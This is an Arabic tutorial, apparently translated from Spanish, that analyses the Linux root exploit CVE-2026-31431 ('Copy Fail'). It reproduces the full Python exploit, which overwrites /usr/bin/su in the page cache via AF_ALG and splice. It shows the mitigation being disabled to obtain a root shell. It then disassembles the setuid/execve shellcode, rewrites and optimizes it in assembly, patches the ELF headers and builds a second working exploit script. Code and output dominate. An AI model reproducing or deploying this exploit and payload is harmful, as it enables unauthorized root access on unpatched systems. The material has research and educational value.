
CVE-2026-31431 (Copy Fail) — تحليل وتطوير في لغة التجميع x86-64 | تحليل وتطوير في لغة التجميع x86-64
بناءً على الكود المصدري المنشور في Theori، سنقوم بعدة تمارين حتى نقوم بتحويله بالكامل إلى لغة التجميع الخالصة (بدون مكتبات خارجية).```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## بيئة الاختبار
سنقوم بتنفيذ التمرين على الجهاز التالي.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
نقوم بتشغيل البرنامج بلغة Python للتحقق مما إذا كان النظام قابلًا للاستغلال. إذا ظهر خطأ، فهو غير قابل للاستغلال؛ إذا فتح شل sh، فهو قابل للاستغلال.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### تعطيل التخفيف
في هذا الجهاز، تم تحميل التخفيف عبر التحديثات الأمنية التلقائية، ولهذا فشل. لاختباره، قمنا بخفض الدفاع بإعادة تسمية الملف الذي يوجد فيه التخفيف.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
نختبر البرنامج مرة أخرى والآن نعم، يعيد لنا الشل ونتأكد أننا root.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### إعادة تفعيل الحماية
بمجرد انتهاء التمرين، نقوم بتنفيذ ما يلي لتفعيل الحماية مرة أخرى:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
أول شيء يجب علينا تحليله هو معرفة ماهية السلسلة النصية المضغوطة باستخدام zlib. لهذا نقوم بإنشاء برنامج بلغة Python، decompress.py، يقوم بفك ضغطها ويولد ملفًا: output.bin.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
نقوم بتشغيل وتحليل نوع الملف.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
الآن بعد أن عرفنا أنه ملف ELF 64-bit LSB executable، سنقوم بتحقيقه.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
بنية ELF تشغل **120 بايت**: **رأس ELF** (64 بايت) + **رأس البرنامج** (56 بايت). يبدأ الكود الآلي من البايت 120 (0x78)، والذي يتزامن مع **عنوان نقطة الدخول: 0x400078**.
### تفكيك الكود
بوجود **عنوان نقطة الدخول: 0x400078**، يمكننا البدء في تفكيك الكود.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
شرح كل معلمة:
-D — Disassemble All. يفك تجميع كل محتويات الملف، وليس فقط الأقسام المحددة ككود. بدون هذا، -d يفك تجميع .text فقط، وبما أن هذا الملف لا يحتوي على أقسام ELF (إنه ثنائي خام)، فلن يظهر أي شيء.-b binary — Binary format. يخبر objdump بمعالجة الملف كبيانات خام، دون محاولة تحليل رؤوس ELF. بدون هذا، سيحاول objdump قراءة رأس ELF للملف وسيفشل أو يفك التجميع بشكل خاطئ.-m i386:x86-64 — Machine architecture. يحدد مجموعة التعليمات لفك التجميع. i386 هي العائلة الأساسية، :x86-64 يحدد وضع 64 بت. ضروري عند استخدام -b binary، لأنه نظرًا لعدم وجود رؤوس ELF، لا يمكن لـ objdump معرفة البنية. بدون -m، يفترض i386 (32 بت) ويكون فك التجميع خاطئًا — تعليمات 64 بت مثل lea rdi, [rip+0xf] تُفك كبيانات غير صالحة.-M intel — Syntax mode. يستخدم صيغة Intel (mov al, 0x69) بدلاً من AT&T ().باختصار: مع -b binary، يكون -m إجباريًا لأن objdump لا يستطيع استنتاج البنية بدون رأس ELF. مع ملف ELF عادي (بدون -b binary)، لا حاجة لـ -m لأن البنية موجودة في e_machine من الرأس.
المعلمة -z في هذه الحالة أساسية، لأنه كما سنرى لاحقًا هناك أصفار تُستخدم كحشوة، وبدون هذه المعلمة سيظهر ما هو تالٍ ولن نحصل على فك التجميع الدقيق.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### تحديد السلسلة "/bin/sh"
في مخرجات objdump، نرى:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
وفي الموقع 0x80، لدينا:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
بتفسير هذا السطر الأخير نستنتج أنه سلسلة نصية (string) تبدأ في الموقع 0x96 وتنتهي في 0x9F. يمكننا رؤية السلسلة النصية بالطرق التالية:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
أول 00 هو المنهي الفارغ الذي يمثل نهاية السلسلة (/bin/sh\0). الـ 00 المتبقيان هما حشو المحاذاة.
بعد تمرير الكود بشكل نظيف، يصبح هكذا:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> يضمن الحشو أن يكون المجموع قابلاً للقسمة على 4، حيث أن الإكسبلويت بلغة بايثون يكتب الحمولة (payload) في ذاكرة التخزين المؤقت للصفحة على شكل أجزاء (chunks) بحجم 4 بايت. إذا لم يكن الحجم مضاعفًا للعدد 4، فسيظل الجزء الأخير غير مكتمل وتكون الكتابة غير صحيحة.
### التحقق من الهوية مع الأصل
نتأكد من أن هذا الكود متطابق مع ملف **output.bin** الذي أنشأناه من فك ضغط السلسلة (string)، ثم التجميع كملف ثنائي:```bash
> $ nasm -f bin payload.asm -o payload.bin
نستخرج فقط الكود من الملف output.bin. وبما أننا نعرف أن أول 120 بايت تتوافق مع هيكل ELF، فإننا نتجاوز هذا العدد من البايتات.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
نؤكد أن الكود الخاص بنا مطابق للـ payload الأصلي. يتم عرض ثلاث طرق للقيام بذلك.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
بعد التأكد من أن الكود payload.asm يطابق الأصل تمامًا، سنقوم بتحسينه.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> حشوة المحاذاة: 120 (headers) + 35 (الكود) = 155 -> +1 byte = 156 / 4 = 39 chunks.
في **الجزء 2** سنرى بالتفصيل سبب كل تحسين.
نقوم بالتجميع:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
لتشغيل الحمولات مباشرة، يجب علينا ترجمتها وربطها بالشكل التالي:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
إذا أردنا إزالة التحذير، بعد **`section .text`** يجب علينا إضافة الأسطر التالية:```assembly
global _start
_start:
نقوم بدمج رؤوس ELF (أول 120 بايت) من الحمولة الأصلية (output.bin) والحمولة المحسّنة ذات 36 بايت (payload-optimized.bin). نقوم ببعض التحققات، ونمنح أذونات التنفيذ، وعند التشغيل نحصل على shell.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## تحليل رؤوس ELF
عند دمج الرؤوس (120 بايت) من ELF الأصلي مع حمولتنا المحسّنة (36 بايت)، يصبح حجم الملف الناتج 156 بايت، لكن الحقلين **p_filesz** و **p_memsz** في الرؤوس لا يزالان يشيران إلى 158، وهو قيمة الملف الأصلي البالغ 160 بايت. سنقوم بتحليل وتصحيح هذين الحقلين.
لهذا نحتاج إلى معرفة هياكل رؤوس ملف ELF.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
نلاحظ القيم التي يحملها p_filesz و p_memsz من Program Header. تشير إلى عدد بايتات المقطع الموجودة في الملف على القرص وعددها المحجوز في الذاكرة عند التحميل.
إزاحات p_filesz و p_memsz هي 0x60 و 0x68 على التوالي.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### التحقق من endianness
نلاحظ بصريًا أن القيم موجودة في **little-endian**، لأنها لو كانت في big-endian لكانت قيمًا ضخمة ولن تتطابق مع حجم 160 بايت. للتأكد، نتحقق من القيمة في **e_ident[5]** من رأس ELF.
القيم الممكنة هي:
| القيمة | الثابت | المعنى |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |
نقوم بتنفيذ:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
تم التأكيد أنه في little-endian. نرى القيم بالنظام العشري:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### مقارنة الأحجام
نقوم بإدراج أحجام الملفات.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
حجم الملف الأصلي هو 160 بايت، لكن في الهيكل تم تخصيص 158 بايت له. ذلك لأن الملف يحتوي على بايتين من الحشو (padding) في النهاية وقرر المؤلف أن يكون دقيقًا وأن يشير فقط إلى البايتات التي سيتم تحميلها. إذا كان بدلاً من 158 يحتوي على 160، فسيعمل أيضًا بشكل صحيح لأن بايتي الحشو لا يتم تنفيذهما أبدًا (يقعان بعد exit) ولا تتم الإشارة إليهما أيضًا.
ملفنا المحسّن يشغل 156 بايت ويحتوي على بايت واحد من الحشو. واتباعًا لنفس خط الدقة لدى مؤلف البرنامج، سنقوم بتعريف p_filesz و p_memsz على 155.
نحول 155 من عشري إلى سداسي عشري.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
من الممارسات الجيدة أن تحتوي الحقول **p_filesz** و **p_memsz** في Program Header على القيم الصحيحة.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
نؤكد أن التغييرات تم تطبيقها بشكل صحيح.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
يمكننا أيضًا تأكيد ذلك من خلال النظر إلى Program Header.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
نقوم بتشغيله ويستمر في العمل بشكل صحيح.```bash
$ ./payload-optimized.elf $
## التكامل في الاستغلال
نقوم بإنشاء برنامج يضغط الـ payload المُحسَّن ويعيد السلسلة السداسية العشرية لإدراجها في الاستغلال.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
ربما لا يعمل المعامل --share على ويندوز.```bash
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
نستبدل السلسلة المضغوطة في الاستغلال الأصلي بالسلسلة الجديدة المحسّنة.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
اختبرنا الاستغلال مع الحمولة المحسّنة وأكدنا أنه يعمل بشكل صحيح.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ لا تنس [إعادة تفعيل الحماية](#reactivar-la-protección) بعد انتهاء الاختبار.
## تواصل
إذا كانت لديك استفسارات أو اقتراحات أو تصحيحات، فأرسل لي مع ذكر اسم المستودع إلى:
✉️ `[email protected]`
mov $0x69, %al-z — يلغي إخفاء تسلسلات الأصفار. بهذه الطريقة يعرض كل شيء دون حذف الأصفار.--start-address=0x78 — ابدأ من الإزاحة 0x78 (120 بايت). يتخطى رؤوس ELF ورأس البرنامج للحمولة، مع فك تجميع كود الآلة فقط. بدون هذا، سيفك تجميع الرؤوس كما لو كانت تعليمات.